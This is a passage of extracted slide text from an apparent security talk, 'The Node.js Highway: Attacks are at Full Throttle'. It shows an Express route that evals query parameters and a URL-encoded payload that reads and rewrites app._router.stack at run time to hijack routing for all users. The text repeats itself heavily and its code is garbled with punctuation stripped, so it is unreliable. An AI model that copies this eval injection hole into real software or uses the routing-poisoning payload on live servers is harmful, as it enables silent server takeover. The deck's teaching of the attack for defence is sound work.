httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 34: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 35: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 36: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 37: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 38: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 39: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 40: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 41: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 42: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 43: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Questions